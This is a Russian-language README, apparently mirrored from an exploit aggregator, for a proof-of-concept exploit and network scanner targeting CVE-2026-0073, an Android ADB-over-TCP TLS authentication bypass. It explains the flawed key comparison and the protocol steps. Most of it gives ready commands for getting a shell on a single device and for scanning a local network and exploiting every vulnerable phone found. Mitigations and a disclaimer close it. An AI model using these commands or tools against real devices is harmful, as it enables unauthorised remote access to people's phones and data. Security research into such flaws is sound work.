## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UNNAIM-ADBHIJACKER
# CVE-2026-0073 — Обход аутентификации TLS в Android ADB
Эксплойт proof-of-concept и сетевой сканер для **CVE-2026-0073** — критической уязвимости удалённого выполнения кода с нулевым кликом и без взаимодействия в пути аутентификации ADB-over-TCP в Android `adbd`.
Уязвимость представляет собой логическую ошибку в `adbd_tls_verify_cert()` (`daemon/auth.cpp`), где `EVP_PKEY_cmp()` трактуется как булев предикат. Когда сохранённый RSA-ключ сравнивается с не-RSA TLS-сертификатом клиента (EC P-256 или Ed25519), API возвращает `-1` (несовпадение типов), что является _истинным_ (truthy) значением в C/C++. Это превращает несовпадение между разными алгоритмами в успешное совпадение ключа хоста — полностью обходя аутентификацию.
**Технические детали получены изBARGHEST.**
**Базовый код PoC взят изSecTestAnnaQuinn.**
**Исправлено в Android Security Bulletin — май 2026.**
* * *
## Влияние
Из контекста `shell` атакующий может просматривать системные свойства, состояние процессов, журналы, уведомления; устанавливать и удалять пакеты; использовать `run-as` для отлаживаемых приложений; а также подготавливать последующую эксплуатацию.
* * *
## Файлы
Файл| Назначение
---|---
`adb_tls_auth_bypass.py`| PoC эксплойта для одной цели (оригинал от SecTestAnnaQuinn, исправлена контрольная сумма)
`adbt_scanner.py`| Сетевой сканер — обнаружение уязвимых устройств + их эксплуатация
`requirements.txt`| Зависимости Python
* * *
## Предварительные требования (целевое устройство)
Для успешной эксплуатации целевое Android-устройство должно иметь:
1. Включённые **Параметры разработчика**
2. Включённую **беспроводную отладку** или ADB-over-TCP (TCP-сервис платформенного `adbd`)
3. Как минимум **один ранее сопряжённый RSA-ключ хоста** в `/data/misc/adb/adb_keys`
4. **Сетевую доступность** TCP-порта ADB (по умолчанию 5555)
* * *
## Установка
root@kitploit:~
# Создание виртуального окружения
uv venv
# Активация
source .venv/bin/activate
# Установка зависимостей
uv pip install -r requirements.txt
**Зависимости:**
Сканер корректно деградирует при отсутствии необязательных пакетов — он выдаст предупреждение и переключится на альтернативные методы (системная команда `ip`, `nmap`, TCP connect-сканирование).
* * *
## Использование
### Режим 0 — Прямая эксплуатация одной цели
Атака на известное уязвимое устройство напрямую.
root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42 # интерактивная оболочка
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Или через сканер:
root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42 # интерактивная оболочка
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
### Режим 1 — Сканирование сети, идентификация, эксплуатация
Сканирование локальной сети на предмет уязвимых устройств и эксплуатация всех подтверждённых целей.
root@kitploit:~
# Полное сканирование: mDNS → ARP → сканирование портов → ADB-проба → эксплуатация
python3 adbt_scanner.py --scan
# Выполнение конкретной команды на всех уязвимых устройствах
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Только разведка — обнаружение без эксплуатации
python3 adbt_scanner.py --scan --no-exploit
# Сканирование нескольких портов
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Переопределение обнаруженной подсети (многосетевые хосты, конкретные диапазоны)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Настройка таймаутов для медленных сетей
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Увеличение окна прослушивания mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Пропуск конкретных фаз обнаружения
python3 adbt_scanner.py --scan --no-mdns # пропустить mDNS, только ARP
python3 adbt_scanner.py --scan --no-arp # пропустить ARP, только mDNS
### Справочник CLI сканера
root@kitploit:~
--scan Сканирование сети на уязвимые устройства + эксплуатация
--host HOST Прямая эксплуатация одной цели
--port PORT ADB-порт для режима --host (по умолчанию: 5555)
--cmd COMMAND Команда оболочки для выполнения
-v, --verbose Подробное логирование
--mdns-timeout SECONDS Длительность прослушивания mDNS (по умолчанию: 30)
--ports PORTS Порты через запятую в режиме --scan (по умолчанию: 5555)
--subnet CIDR Переопределение обнаруженной подсети (например, 192.168.2.0/24)
--connect-timeout SECONDS Таймаут TCP-подключения (по умолчанию: 2.0)
--probe-timeout SECONDS Таймаут ADB-пробы (по умолчанию: 3.0)
--arp-timeout SECONDS Таймаут ARP-сканирования (по умолчанию: 3)
--no-mdns Пропустить обнаружение mDNS
--no-arp Пропустить ARP-сканирование + сканирование портов
--no-exploit Остановиться после фазы ADB-пробы протокола
### Конвейер обнаружения
root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Определение подсети — netifaces → ip route → socket-трюк │
│ 2. Слушатель mDNS — _adb-tls-connect._tcp (30 с по умолч.)│
│ 3. ARP-сканирование — scapy.arping → nmap -sn │
│ 4. Сканирование портов — TCP connect к каждому host:port │
│ 5. ADB-проба протокола — отправка CNXN, классификация ответа │
│ │
│ STLS → УЯЗВИМО (переход к эксплуатации) │
│ AUTH → устаревшая ADB-аутентификация (не эта CVE) │
│ CNXN → открыто, без аутентификации (уже доступно) │
│ NO_ADB → не ADB-сервис │
│ │
│ 6. Эксплуатация — TLS-апгрейд → обход аутентификации → оболочка │
└─────────────────────────────────────────────────────────────┘
mDNS — самый точный метод идентификации: при сопряжении беспроводной отладки Android явно транслирует `_adb-tls-connect._tcp`. ARP-сканирование + сканирование портов служит универсальным запасным вариантом.
* * *
## Механика эксплойта
root@kitploit:~
Фаза 1 — открытый (cleartext) ADB
Клиент → CNXN(payload="host::features=...")
Устройство → STLS (требуется апгрейд до TLS)
Фаза 2 — TLS 1.3 с клиентским сертификатом кросс-алгоритма
Клиент → ответ STLS
Клиент → рукопожатие TLS 1.3 + клиентский сертификат EC P-256
Устройство вызывает adbd_tls_verify_cert():
known_evp = RSA-ключ из /data/misc/adb/adb_keys
evp_pkey = ключ EC P-256 из клиентского сертификата
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (несовпадение типов)
if (-1) → verified = true ← ОШИБКА: -1 является истинным (truthy)
Фаза 3 — Пост-TLS сервисный уровень ADB
Клиент обрабатывает CNXN устройства (транспорт уже онлайн)
CNXN хоста не отправляется (это вызвало бы выброс handle_new_connection)
Клиент → OPEN(local_id, window=32MB, payload="shell:\x00")
Устройство → OKAY → установлен поток оболочки
* * *
## Модель угроз
### Прямая сетевая доступность
* Беспроводная отладка оставлена включённой в ненадёжной сети (кафе, офис, конференция)
* ADB, доступный из интернета на порту 5555 (более 10 000 устройств только в Корее наблюдалось в ходе исследования доступности)
### Создание состояния с помощью вредоносного ПО
* Вредоносное ПО на устройстве использует службу специальных возможностей (Accessibility Service) для включения параметров разработчика, активации беспроводной отладки и сопряжения ключа хоста — подготавливая устройство к удалённой эксплуатации сетевым узлом
* * *
## Ограничения
* **Не root.** Эксплойт предоставляет контекст `shell` (uid=2000). Компрометация ядра, root-доступ и ключи аппаратного хранилища требуют дополнительного повышения привилегий.
* **Требуется сопряжённый ключ.** На цели должен быть хотя бы один RSA-ключ хоста в `/data/misc/adb/adb_keys`. Свежесброшенное устройство с включённой беспроводной отладкой, но _никогда не сопрягавшееся_ , не уязвимо.
* **Требуется путь STLS.** Устройства, обслуживающие ADB через TCP по устаревшим (не-TLS) механизмам, отвечают `AUTH`, а не `STLS`, и не подвержены данной CVE.
* **Исправленные устройства невосприимчивы.** Майский Android Security Bulletin 2026 года включает исправление, изменяющее проверку `EVP_PKEY_cmp` на требование точного возвращаемого значения `== 1`.
* * *
## Меры по смягчению
* Установите **исправление**.
* Отключайте параметры разработчика, когда они не нужны активно.
* Отключайте беспроводную отладку.
* Не открывайте доступ к ADB за пределами вашей локальной доверенной сети.
* * *
## Ссылки
* Android Security Bulletin — май 2026
* Технический анализ от BARGHEST
* Благодарности Android
* Коммит BoringSSL — нормализация возвращаемого значения EVP_PKEY_cmp
* Отчёт о шпионском ПО Morpheus — Osservatorio Nessuno
* MESH — инструмент безопасности Android от BARGHEST
* * *
## Отказ от ответственности
Данное программное обеспечение предоставляется **только для образовательных целей и санкционированных исследований безопасности**. Инструменты и код в этом репозитории предназначены для помощи специалистам по безопасности, исследователям и владельцам устройств:
* Понять, как CVE-2026-0073 работает на уровне протокола
* Проводить аудит и оценку собственных устройств и сетей
* Разрабатывать и тестировать меры по смягчению
**Вы не должны использовать данное программное обеспечение:**
* Против любого устройства или сети, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения
* В любых незаконных целях или в нарушение применимого законодательства
* Для доступа, изменения или выгрузки данных без авторизации
Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций и может повлечь уголовную и гражданскую ответственность. Авторы и участники **не несут никакой ответственности** за неправомерное использование, ущерб или юридические последствия, возникающие в результате использования данного программного обеспечения.
**Используйте ответственно. Знайте свою цель. Получите разрешение.**
* * *
## Лицензия
CC0 1.0 Universal — Без сохранения прав.
В максимально возможной степени, предусмотренной законом, авторы отказались от всех авторских и смежных прав на эту работу.